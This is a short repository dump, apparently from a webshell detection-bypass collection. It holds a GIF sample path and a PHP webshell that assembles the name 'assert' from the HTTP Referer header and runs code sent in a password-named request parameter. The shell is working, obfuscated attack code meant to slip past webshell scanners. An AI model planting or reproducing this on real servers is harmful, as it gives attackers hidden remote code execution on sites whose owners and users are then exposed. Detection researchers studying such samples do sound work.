/webshell/php/bypass-imagecreatefromgif-pass-00.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/LandGrey/webshell-detect-bypass/a7057c5c54e03c9f2a1afe0b5546ef14b8e81bc6/webshell/php/bypass-imagecreatefromgif-pass-00.gif
--------------------------------------------------------------------------------
/webshell/php/forward_static_call_array-referer-ass.php:
--------------------------------------------------------------------------------
1 | = 5.3.0, PHP 7)
4 | *
5 | */
6 | $password = "LandGrey";
7 | $wx = substr($_SERVER["HTTP_REFERER"],-7,-4);
8 | forward_static_call_array($wx."ert", array($_REQUEST[$password]));
9 | ?>
10 |
--------------------------------------------------------------------------------